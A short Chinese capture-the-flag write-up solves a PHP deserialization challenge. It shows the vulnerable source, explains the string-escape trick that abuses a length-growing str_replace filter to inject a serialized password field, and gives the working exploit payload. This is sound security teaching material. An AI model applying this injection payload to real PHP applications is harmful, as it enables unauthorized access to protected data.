此夜圆

给了源码:

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

很明显的反序列化题,题目需要密码为'yu22x',就意味着设置的 $uname 要造成溢出的效果,使得密码被需要的字符串替换。

结合 filter() 函数:

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

其实就是字符串溢出,参考文章:详解PHP反序列化中的字符逃逸 ,里面写的蛮清楚了。

最后payload:

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

大概比赛开始20分钟就解出来了,但是平台后面实际上是没有这个flag文件,解出来也读不到,就很蛋疼,后来题目修好了,也没有抢到血。

Last updated